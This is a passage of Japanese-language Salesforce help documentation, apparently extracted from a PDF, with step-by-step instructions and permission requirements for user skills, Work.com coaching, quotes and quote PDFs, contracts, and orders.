Unlimited Edition、および
Developer Edition

ユーザ権限

スキルを追加する
• スキルおよびスキル

ユーザに対する「作
成」

スキルを追加して、専門知識を共有します。
スキルがすでに存在する場合は、グローバル検索バーを使用してスキルを見つ
け、スキルレコードで [私のプロファイルに追加] をクリックします。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力

し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. [ユーザのスキル] 関連リストで、[新規スキル] をクリックします。
3. スキルの名前と説明 (省略可能) を入力します。
4. [保存] をクリックします

スキルが作成されます。
5. [私のプロファイルに追加] をクリックします。
6. [保存] をクリックします。

スキルが関連付けられます。
Chatter プロファイルページでスキルを追加することもできます。

関連トピック:

スキルの概要
レコードの詳細ページを使用したスキルの削除
レコードの詳細ページを使用したスキルの支持
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レコードの詳細ページを使用したスキルの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

スキルを削除する
• スキルに対する「参

照」

および

スキルユーザに対する
「削除」

適用されなくなったスキルを削除します。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力

し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. [ユーザのスキル] セクションで、削除するスキルの横にある [削除] をクリッ
クします。

3. [OK] をクリックします。
スキルと自分との関連付けはなくなりますが、スキルは削除されません。スキ
ルを削除できるのは、適切な権限を持つスキル所有者と「すべてのデータの編
集」権限を持つユーザのみです。
Chatter プロファイルページでスキルを削除することもできます。

関連トピック:

スキルの概要
レコードの詳細ページを使用したスキルの追加
レコードの詳細ページを使用したスキルの支持

レコードの詳細ページを使用したスキルの支持

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

スキルへの支持を追加す
る
• 支持に対する「作成」

および

スキルおよびスキル
ユーザに対する「参
照」

ユーザのスキルを支持して、特定分野の専門知識を奨励します。
1. 支持するユーザのプロファイルページに移動します。
2. 右上隅にある をクリックし、[ユーザの詳細] を選択します。
3. [ユーザのスキル] セクションで、支持するスキルの横にある [スキルユーザ名]

または [支持] リンクをクリックします。
4. [承認を追加] をクリックします。
5. [保存] をクリックします。
Chatter プロファイルページでスキルを支持することもできます。

関連トピック:

スキルの概要
レコードの詳細ページを使用したスキルの追加
レコードの詳細ページを使用したスキルの削除
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コーチングの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コーチングには、
Work.comライセンスが必
要です。このライセンス
は、Professional Edition、
Enterprise Edition、
Unlimited Edition、または
Developer Editionのアドオ
ンライセンスとして取得
できます。また、
Performance Edition には
含まれています。

ユーザ権限

コーチングスペースを参
照する
• コーチングに対する

「参照」

コーチングスペースを作
成する
• コーチングに対する

「作成」

Work.comコーチングを使用すると、非公開でコーチングしたり、社内の他のユー
ザからコーチングを受けたりすることができます。また、コーチングスペース
を共有して、追加のオブザーバーや参加者を含めることもできます。コーチン
グには、[コーチング] タブまたはプロファイルページを使用してアクセスしま
す。

コーチングページでは、次の操作を実行できます。
• コーチングスペースのリストを表示する。

組織に適した独自の検索条件 (My Coaches (私のコーチ)、People I Coach、Inactive

Relationships (私がコーチングするユーザ) など) を作成します。
• [新規] をクリックして、コーチングスペースを作成する。コーチングスペー

スは必要なだけ作成できます。
リストビューのコーチングスペースをクリックすると、詳細ページにアクセス
できます。

このページでは、次の操作を実行できます。
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• [フィードを表示] をクリックして、コーチングスペースに関連するフィードを表示する。
フィードを表示するには、システム管理者が Chatter フィード追跡を有効にする必要があります。

• 特定のコーチングスペースに関連する目標、総計値、活動、メモ、添付ファイルにアクセスする。
• コーチングスペースが有用でなくなった場合に無効に設定する。この場合もレコード履歴は保持され、い

つでもコーチングスペースを再有効化できます。
• 適切なアクセス権がある場合は、コーチングスペースを削除する。

関連トピック:

目標の概要
ToDo を使用する場合の考慮事項
行動とカレンダーを使用する場合の考慮事項
Chatter フィード追跡のカスタマイズ
Work.com の設定の有効化または無効化

Work.com メールの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールを設定する
• 追加の権限不要

Work.comのフィードバックおよび報奨に関連する通知を受信するため、Work.com

メールを有効にします。
1. 個人設定から、[クイック検索]ボックスに「Work.com」と入力して、Work.com

の [メール設定] を選択します。
2. [一般情報] セクションで、[メール送信] を選択します。

Work.comメールの受信を停止する場合は、このオプションをいつでも選択解
除できます。

3. [個人設定] セクションで、受信するメールの種別を選択します。

説明メール設定

報奨を与えられたときにメールを受
信する場合、このオプションを選択
します。

報奨を与えられた

フィードバックを求められたか、自
分の質問に対して他のユーザが回答

フィードバックを求められたか、私
の質問に対してフィードバックを受
け取った したときにメールを受信する場合、

このオプションを選択します。

4. [保存] をクリックします

関連トピック:

Work.com の設定の有効化または無効化
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見積の作成と契約の文書化

見積
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積を参照する
• 見積に対する「参照」

見積を作成する
• 見積に対する「作成」

見積品目名を追加する
• 見積に対する「編集」

および

商品と価格表に対する
「参照」

Salesforce の見積は、会社の商品およびサービスの提案価格を表します。商談お
よびその商品から見積を作成します。各商談には、複数の関連する見積があり、
それらのいずれかを商談と同期できます。見積と商談が同期している場合、見
積の品目名に行った変更は、商談の商品と同期します。またその逆も同様です。
[見積] タブですべての見積の概要を確認します。Lightning Experienceを使用してい
る場合は、営業活動をパスで追跡し、フェーズを Kanban で追跡します。

見積の作成および管理
見積を作成して、提供する商品およびサービスの価格を顧客に示します。顧
客が価格を比較できるように、商品、割引、数量のさまざまな組み合わせを
示す見積のセットを作成します。次に、必要に応じて商品を追加して、見積
を最新の状態に維持します。
見積と商談の同期
見積をその作成元の商談にリンクします。この処理により、一方のレコード
への更新が常にもう一方に反映されます。
見積 PDF の作成およびメール送信
見積を PDF 形式にすると顧客に簡単に提示できます。見積 PDF は、標準テン
プレートから、または会社のデザインを基に作成します。顧客にメールで見
積を送信します。次に、不要になった見積を削除します。
見積の削除に関する考慮事項
見積を削除する前に、見積の削除によって見積関連の PDF および商談との同
期にどのような影響があるのか理解しておくことをお勧めします。

関連トピック:

商談
見積の項目
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見積の作成および管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積を参照する
• 見積に対する「参照」

見積を作成する
• 見積に対する「作成」

見積品目名を追加する
• 見積に対する「編集」

および

商品と価格表に対する
「参照」

見積を作成して、提供する商品およびサービスの価格を顧客に示します。顧客
が価格を比較できるように、商品、割引、数量のさまざまな組み合わせを示す
見積のセットを作成します。次に、必要に応じて商品を追加して、見積を最新
の状態に維持します。
1. 商談の [見積] 関連リストで [新規見積]をクリックします。[小計]、[割引]、

[合計金額]、および [総計] 項目に商談の値が表示されます。
2. 項目に入力します。
3. 変更内容を保存します。

• 固有の見積番号が追加されます。
• 商談の商品が見積に品目名としてコピーされます。
• 入力した税金および納入情報に基づいて、総計が再計算されます。

見積品目名を見積に追加する手順は、次のとおりです。
1. [見積品目名] 関連リストで [商品を追加] (Lightning Experience) または [商品名の

追加] (Salesforce Classic) をクリックします。
2. 商談で価格表が選択されていない場合、見積の価格表を選択します。そうで

ない場合、見積は商談の価格表を使用します。
3. ルックアップに検索基準を入力して、品目名を検索します。
4. 追加する商品を選択し、[次へ] (Lightning Experience) または [選択] (Salesforce Classic)

をクリックします。
5. 項目に入力します。販売価格は、価格表に記録されている商品のリスト価格

にデフォルト設定されます。各自の権限に応じて、販売価格を編集できま
す。

6. 変更内容を保存します。
品目名が [見積品目名] 関連リストに追加されます。詳細セクションの総計
は、関連する品目名の合計です。割引は、品目名の平均割引額です。

関連トピック:

見積と見積品目の作成および管理に関する考慮事項
見積 PDF の作成およびメール送信
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見積と商談の同期

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積を同期する
• 見積に対する「作成」

見積をその作成元の商談にリンクします。この処理により、一方のレコードへ
の更新が常にもう一方に反映されます。
1. 同期する見積を開いて、[同期開始] をクリックします。
2. 見積と商談が同期するまで、プロンプトに従います。

商談の [同期見積] 項目と [見積] 関連リストで、同期された見積が識別され
ます。

3. 見積と商談の同期を停止するには、同期している見積を開いて、[同期中止]

をクリックします。
レコード間で更新が同期されなくなります。

4. 別の見積を商談と同期させるには、見積を同期する手順を実行します。
以前同期していた見積との同期が停止し、新しい見積との同期が開始されま
す。

関連トピック:

見積の同期のしくみ
見積の同期のトラブルシューティング

見積 PDF の作成およびメール送信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

見積 PDF を作成または
メール送信する
• 見積に対する「編集」

見積を PDF 形式にすると顧客に簡単に提示できます。見積 PDF は、標準テンプ
レートから、または会社のデザインを基に作成します。顧客にメールで見積を
送信します。次に、不要になった見積を削除します。

標準テンプレートから見積 PDF を作成する
標準テンプレートから見積 PDF をすばやく作成します。
テンプレートを選択して見積 PDF を作成する
使用可能なテンプレートから選択して PDF を作成します。
見積 PDF のメール送信
顧客にメールで見積を送信します。

関連トピック:

見積 PDF の作成に関する考慮事項
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標準テンプレートから見積 PDF を作成する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

標準テンプレートから見積 PDF をすばやく作成します。
カスタムテンプレートや PDF を作成していない場合は、標準テンプレートを使
用します。
1. 見積詳細ページで、[PDF の作成] をクリックしてプレビューを生成します。
2. [見積に保存] をクリックして PDF を [見積 PDF] 関連リストに保存します。PDF

名は見積名にバージョン番号を加えた形式となります (例: AcmeQuote_V1)。

テンプレートを選択して見積 PDF を作成する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

使用可能なテンプレートから選択して PDF を作成します。
1. 次のいずれかの操作を実行します。

• Lightning Experience を使用している場合、[PDF の作成] をクリックし、ド
ロップダウンリストからテンプレートを選択します。

• Salesforce Classic を使用している場合、[PDF の作成] ドロップダウンリスト
をクリックし、[最近使ったテンプレート] リストからテンプレートを選択
します。または、[テンプレートを選択] をクリックして、使用するテン
プレートを検索します。

2. [PDF の作成] をクリックして、プレビューを生成します。
3. [見積に保存] をクリックして PDF を [見積 PDF] 関連リストに保存します。PDF

名は見積名にバージョン番号を加えた形式となります (例: AcmeQuote_V1)。
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見積 PDF のメール送信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

顧客にメールで見積を送信します。

Lightning Experience での複数の見積 PDF とその他のドキュメントのメール送信
顧客が容易に比較できるようにするために、1 つまたは複数の見積 PDF とそ
の他のドキュメントを Lightning Experience で同時にメール送信します。
Salesforce Classic での見積 PDF のメール送信
Salesforce Classic で見積をメール送信し、顧客の承認を求めます。

Lightning Experience での複数の見積 PDF とその他のドキュメントのメール送信

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

顧客が容易に比較できるようにするために、1 つまたは複数の見積 PDF とその他
のドキュメントを Lightning Experience で同時にメール送信します。
1. 見積の活動タイムラインで[メールを送信]をクリックします。メール ToDo が

開きます。
2. 顧客のメールアドレス、件名、本文テキストを入力します。
3. [ファイル添付] をクリックし、見積とその他のドキュメントを 1 つずつ追加

した後、送信します。
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Salesforce Classic での見積 PDF のメール送信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Salesforce Classic で見積をメール送信し、顧客の承認を求めます。
1. PDF のプレビュー上、見積詳細ページ上、または [見積 PDF] 関連リストの PDF

の横にあるメールオプションをクリックします。現在の見積 PDF が添付され
たメール ToDo が開きます。

2. 顧客のメールアドレス、件名、本文テキストを入力し、送信します。

見積の削除に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積を削除する前に、見積の削除によって見積関連の PDF および商談との同期
にどのような影響があるのか理解しておくことをお勧めします。
• 適切な権限があり、システム管理者、見積の所有者、または組織のロール階

層内で見積の所有者より上位である場合は、見積を削除できます。
• 見積を削除すると、次の動作が行われます。関連するすべての PDF、メモ、

添付ファイルが削除されます。見積が商談と同期している場合は、レコード
が商談の [見積] 関連リストからも削除されます。削除された見積は、ごみ箱
に移動します (Salesforce Classic のみ)。

• 以前に同期していた見積を元に戻しても、商談と同期しません。
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見積と見積品目の作成および管理に関する考慮事項
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積を作成して見積品目を処理する前に、次のいくつかの重要事項を確認して
ください。

メモ: 実行可能なタスクは、ユーザ権限によって決まります。自分で実行
できないタスクについてサポートが必要な場合は、Salesforce システム管理
者にお問い合わせください。

• 商談の見積を作成する前に、関連する価格表、商品、およびリスト価格が商
談で有効になっている必要があります。

• Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、および
Developer Edition の組織では、レコードタイプを有効にして、見積の作成時に
[レコードタイプ]の選択を求めることができます。レコードの作成または編
集時に使用可能な選択リスト値およびビジネスプロセスは、レコードタイプ
によって決まります。

• ディビジョン (Salesforce Classic のみ) を使用している場合、新しい見積のディ
ビジョンは、関連する商談のディビジョンに自動的に設定されます。

• 見積を商談と同期する場合に品目名を見積に追加すると、新しい品目名が商談の [商品] 関連リストに商品
としてコピーされます。

• 商談を見積と同期する場合に見積品目を削除すると、対応する商品も商談の [商品] 関連リストから削除さ
れます。

• カスタム項目の同期はサポートされていません。見積をAPIから作成する場合、見積品目は商談品目に基づ
いて作成されません。新しい商談品目は見積品目に基づいて作成されます。

• 商品にデフォルトのスケジュールがある場合は、品目名を見積に追加してもスケジュールは作成されませ
ん。品目名が商談からコピーされる場合は、商談のスケジュールを表示できます。スケジュールを変更す
るには、商品レコードを直接編集します。

• 見積品目に割引があり、商品レコードに商品のデフォルトスケジュールが設定されている場合、または商
談商品レコードに商品の個別スケジュールが設定されている場合は、品目名の [割引] 項目を編集できま
せん。
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見積 PDF の作成に関する考慮事項
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積 PDF を作成する前に、次のいくつかの重要事項に留意してください。
• 見積 PDF では、右から左へ記述される言語はサポートされません。テキスト

は右揃えではなく左揃えで表示されます。
• 見積 PDF の関連リストのテキスト項目は、256 文字未満に切り捨てられます。

この制限は、リッチテキストエリア項目、他のタイプのテキスト項目、標準
項目、カスタム項目に適用されます。

• Salesforceシステム管理者は、新しい見積のデフォルトの状況、および見積 PDF

をメール送信できる状況を決定します。たとえば、システム管理者は、ユー
ザの状況が「レビュー中」のときは見積がメール送信されないようにするこ
とができます。

見積の同期のしくみ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

見積の同期によって、見積をその作成元の商談にリンクして、この 2 つのレコー
ド間ですべての更新を同期できます。商談には複数の見積を設定できますが、
同期できる見積は一度に 1 つだけです。
見積と商談が同期している場合、一方のレコードの商品リストに対する追加ま
たは変更は、もう一方のレコードの商品リストと同期します。見積の品目名を
追加または削除すると、同期されている商談の [商品] 関連リストが更新されま
す。商談の商品を追加または削除すると、同期されている見積の [見積品目名]

関連リストが更新されます。商品の並び替えも、この 2 つのレコード間で同期
します。同期を停止するか、いずれかのレコードを削除するまで、見積と商談
は同期し続けます。
商品のない商談でも、見積と同期させることができます。商品をいずれかのレ
コードに追加すると、同期されているレコードにも自動的に追加されます。
商談と見積が同期されている場合、商談は次の 2 か所で同期されている見積を
識別します。
• 商談詳細ページの [同期見積] 項目
• [見積] 関連リストの [同期中] チェックボックス
同期された見積を、同期された別の見積で置き換えた場合、既存の商談品目は、新しく同期された見積レコー
ドで置き換えられます。
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見積と相談との同期を停止すると、リンクが解除され、一方を変更してもレコードが自動的に更新されること
がなくなります。

関連トピック:

見積と商談の同期
見積の同期のトラブルシューティング

見積の同期のトラブルシューティング
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Developer Edition

Sales Cloud でも使用可能
なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

特定の状況で見積を同期しようとすると、エラーが表示されることがあります。
一般的なエラーメッセージを確認し、その解決法を理解します。適切な権限が
ない場合は、Salesforce システム管理者にお問い合わせください。
無効またはアーカイブ済み商品があるため、この見積は同期できません。

• 商品が有効でない場合は、商品を編集して、[有効] チェックボックスを
オンにします。

• 商品がアーカイブ済みで、商談が完了していない場合は、商品を削除し
ます。

無効またはアーカイブ済み価格表があるため、この見積は同期できません。
• 価格表が有効でない場合は、価格表を編集して、[有効] チェックボック

スをオンにします。
• 価格表がアーカイブ済みで、商談が完了していない場合は、価格表を削

除します。
無効またはアーカイブ済みのリスト価格があるため、この見積は同期できません。

• リスト価格が有効でない場合は、リスト価格を編集して、リスト価格の [有効] チェックボックスをオ
ンにします。

• リスト価格がアーカイブ済みで、商談が完了していない場合は、リスト価格を削除します。
無効またはアーカイブ済み通貨があるため、この見積は同期できません。

通貨を有効化するには、[設定] から、[クイック検索] ボックスに「通貨の管理」と入力し、[通貨の管理]を
選択します。

見積の作成後、商談商品の 1 つまたは複数のスケジュールが変更されているため、この見積を同期することが
できません。

別の見積を作成して同期するか、商品を開いてスケジュールを削除してからスケジュールを再作成します。
この商談に対して同期されている他の見積がワークフローの承認プロセスによりロックされているため、この
見積を同期することができません。商談と同期できる見積は一度に 1 つだけです。

他の見積のロックを解除するには、承認プロセスを終了するか、承認申請を取り消します。
SyncedQuote 項目は、トリガ内で参照専用です。

Salesforce 組織が、SyncedQuote 項目を変更しようとしている Apex トリガを使用しているかどうかを判断
します。SyncedQuote項目は参照専用で、トリガで変更することはできません。システム管理者はこのト
リガを変更できます。
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契約
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition (Sales
Cloud 付属)

契約は、2 者以上の間の書面による合意内容です。多くの会社は、他の会社と業
務を行うための合意条項を定義するために契約を使用しています。Salesforce を
使用して、取引先と、または商談で契約を締結し文書化できます。承認プロセ
スを通じて契約を追跡します。また、契約の更新の通知を受けるには、ワーク
フローアラートを使用します。

契約の作成のガイドライン
契約を作成するときは、データの品質を最大限に高めるために必要な情報の
種別を検討してください。
契約の有効化
契約を有効化して契約が有効であることを示します。有効化された契約は参
照のみです。
契約履歴
ライフサイクル中の契約に行われた変更を確認するには、契約の詳細ページ
の [契約履歴] 関連リストを参照します。

契約の作成のガイドライン

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition (Sales
Cloud 付属)

契約を作成するときは、データの品質を最大限に高めるために必要な情報の種
別を検討してください。
• 開始日 (必須)

• 契約の有効期間 (月単位、必須)

• 終了日
一部のシステム管理者は、契約開始日と契約期間に基づいて契約終了日を計算
するように Salesforce を設定します。契約終了日が計算される場合は、契約の編
集ページに表示されません。
ディビジョン (Salesforce Classic のみ) を使用している場合、新しい契約のディビ
ジョンは関連取引先のディビジョンに設定されます。
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契約の有効化

ユーザ権限

契約を有効にする
• 「契約の有効化」

および

契約に対する「参照」
および「編集」

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition (Sales
Cloud 付属)

契約を有効化して契約が有効であることを示します。有効化された契約は参照
のみです。
契約を開き、[有効化] をクリックします。

関連トピック:

契約

契約履歴

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Developer Edition

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition (Sales
Cloud 付属)

ライフサイクル中の契約に行われた変更を確認するには、契約の詳細ページの
[契約履歴] 関連リストを参照します。
手順は次のとおりです。契約の履歴が追跡されている標準項目またはカスタム
項目を他のユーザが変更すると、エントリが [契約履歴] 関連リストに追加され
ます。エントリには、変更の日付、時刻、変更内容、変更者が表示されます (こ
こでは契約の関連リストへの変更は追跡されません)。
デフォルトでは、状況が [承認処理中] または [有効] の契約の変更が追跡されま
す。状況に関係なく契約の変更を追跡する場合は、Salesforce システム管理者に
契約のカスタマイズを依頼してください。
項目が追跡されるように設定されている有効化された契約についてレポートす
るには、[レポート] 領域の [契約と注文] の下で [契約履歴] を選択します。
Lightning Experience を使用している場合は、Salesforce Classic に切り替えて [契約履
歴] を表示します。
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顧客の注文書の管理と追跡

注文
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[注文] タブを参照する
• 注文に対する「参照」

注文を参照する
• 注文に対する「参照」

注文を使用して、商品やサービスに対する顧客の要求を追跡します。
注文は、既知の数量、価格、日付でサービスを提供したり、商品を納入したり
するための会社と顧客間の契約です。Salesforce システム管理者が、取引先責任
者と取引先のどちらに注文を追加するかを決定します。
たとえば、インターネットサービスプロバイダは、1 年間のサービスを誓約する
ことを顧客に要求する場合があります。このような会社は、すべての注文で基
準となる契約が必要になります。一方、衣服を販売する会社の場合、単一の取
引で商品を販売します。このような会社は、各注文を 1 つの取引先に関連付け
ます。

注文作成のガイドライン
注文を作成するときは、次の主要なガイドラインに従ってください。
注文や削減注文の編集および削除の制限
注文の作成後、一部の項目は編集できなくなります。注文を削減した後に編
集不能になる項目もあります。
有効化の制限に関する考慮事項
注文および削減注文の有効化の制限によって注文データの完全性を保護でき
ます。
注文の共有
Salesforceシステム管理者は、会社のデフォルトの共有モデルを定義します。このモデルを変更して、デフォ
ルトで許容されるよりも多くのユーザを共有するように拡張できます。共有モデルを変更してデフォルト
よりも厳しくすることはできません。
注文履歴
詳細ページで [注文履歴] 関連リストを使用して、注文への変更 (状況の変更日時など) を追跡します。
注文項目
ページレイアウトと項目レベルセキュリティ設定によって、表示可能な項目や編集可能な項目が決まりま
す。

関連トピック:

削減注文
セールス機能: Lightning Experience で使用できない機能とその新機能
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注文作成のガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[注文] タブから注文を作成
する
• 注文に対する「作成」

契約で注文を作成する
• 注文に対する「作成」

および契約に対する
「参照」

取引先で注文を作成する
• 注文に対する「作成」

および取引先に対する
「参照」

注文を作成するときは、次の主要なガイドラインに従ってください。
• Salesforce システム管理者の設定に応じて、各注文を取引先および必要に応じ

て契約に関連付けます。
• [注文] タブで注文を作成してから、関連付けられている取引先および契約を

手動で追加することもできます。ただし、取引先または契約で [注文] 関連リ
ストを使用して直接注文を作成した場合、追加の手順は必要ありません。注
文はそのレコードに関連付けられます。

• 別の注文と詳細が同じ注文を作成する場合は、その注文をコピーできます
(Lightning Experience を使用している場合、商品の含まれる注文をコピーする
と、その商品はコピーされません。注文をコピーしてから、必要に応じて新
しい注文に商品を追加してください)。

• 商品を含めて注文をコピーする場合は、新しい注文の通貨または価格表を変
更できません。

関連トピック:

レコードの作成および更新
注文への商品の追加
注文
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注文や削減注文の編集および削除の制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

注文や削減注文を編集す
る
• 注文に対する「編集」

有効化された注文や削減
注文を編集する
• 「有効化された注文の

編集」

注文や削減注文を削除す
る
• 注文に対する「削除」

注文の作成後、一部の項目は編集できなくなります。注文を削減した後に編集
不能になる項目もあります。
• Salesforce Classicでは、注文や削減注文の状況カテゴリを [ドラフト] から [有効]

へ、またはその逆へと編集することはできません。状況項目は、他のプロセ
スに基づいて更新されます。たとえば、[有効化] をクリックすると、状況カ
テゴリが [ドラフト] から [有効] に変わります。状況選択リスト値は、Salesforce

システム管理者の設定によって異なる場合があります。
Lightning Experienceの状況選択リスト値については、注文状況に基づいての絞
り込みは行われません。したがって、すべての状況値が選択リストに表示さ
れます。

• 注文が作成された後、次の条件を満たしている場合は [取引先] のみが変更
可能です。
– 注文が [ドラフト] 状況になっている。
– 関連する契約が注文に存在する場合は、その契約が新規取引先に関連付

けられている。
• 注文が作成された後、次の条件を満たしている場合は [契約] のみが変更可

能です。
– 注文が [ドラフト] 状況になっている。
– 注文に関連付けられている取引先が、新規契約に関連付けられている取

引先と同じ。
– 注文に関連付けられている通貨が、新規契約に関連付けられている通貨

と同じ。
– 関連する価格表が注文に存在する場合は、その価格表が新規契約に関連

付けられている。
• 価格表が注文に関連付けられた後、価格表の割り当ては変更または削除でき

ません。
• 注文に削減注文が関連付けられている場合、注文の終了日は編集できませ

ん。
• 有効化された注文や削減注文は、削除する前に無効化する必要があります。また、注文を無効化する前に、

関連付けられている削減注文を無効化して削除する必要があります。
• 関連する注文を削除できるのは、注文所有者、取引先所有者、契約所有者、Salesforce システム管理者のみ

です。
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メモ: 契約を削除すると、関連するすべての注文、メモ、添付ファイル、行動、ToDo、履歴、承認申請も
削除されます。契約を削除しても、関連する取引先は削除されません。削除された契約は、ごみ箱に移
動されます (Salesforce Classic のみ)。契約を元に戻すと、関連項目もすべて復元されます。

関連トピック:

削減注文
注文作成のガイドライン
注文

有効化の制限に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

注文を使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

削減注文を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

注文を有効化する
• 「注文の有効化」

注文および削減注文を無
効化する
• 「有効化された注文の

編集」

注文および削減注文の有効化の制限によって注文データの完全性を保護できま
す。
• 有効な契約に対しては注文を有効化できますが、無効な契約に対してはでき

ません。
• 注文を有効化できるのは、注文に注文商品が含まれる場合のみです。
• 注文商品の削減注文を有効化できるのは、削減注文後の数量が正数の場合の

みです。
• 注文または削減注文を有効化した後、注文商品を変更できます。追加と削除

はできません。
• 削減注文のある注文を無効化する場合は、まず削減注文を無効化して削除す

る必要があります。

関連トピック:

注文
削減注文
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注文の共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce システム管理者は、会社のデフォルトの共有モデルを定義します。こ
のモデルを変更して、デフォルトで許容されるよりも多くのユーザを共有する
ように拡張できます。共有モデルを変更してデフォルトよりも厳しくすること
はできません。
1. 共有の詳細を表示および管理するには、注文の詳細ページで [共有]をクリッ

クします。
共有の詳細ページには、注文への共有アクセス権を持つユーザ、グループ、
ロール、およびテリトリーが一覧表示されます。[共有] ボタンは、注文に対
する組織の共有設定が親によって制御される場合は無効です。

2. 他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス
権を付与するには、[追加] をクリックします。

メモ: 注文に対する「参照」権限のあるユーザとのみ注文を共有できます。

注文履歴

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

詳細ページで [注文履歴] 関連リストを使用して、注文への変更 (状況の変更日時
など) を追跡します。
ユーザが標準項目またはカスタム項目を変更すると、注文の状況に関係なく、
エントリが [注文履歴] 関連リスト (Salesforce Classic でのみ使用可能) に追加されま
す。履歴は、変更の日付、時刻、変更内容、変更者で構成されます。注文の関
連リストに対する変更は、注文履歴では追跡されません。

関連トピック:

注文
削減注文
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注文項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

注文を使用可能なエディ
ション: Professional
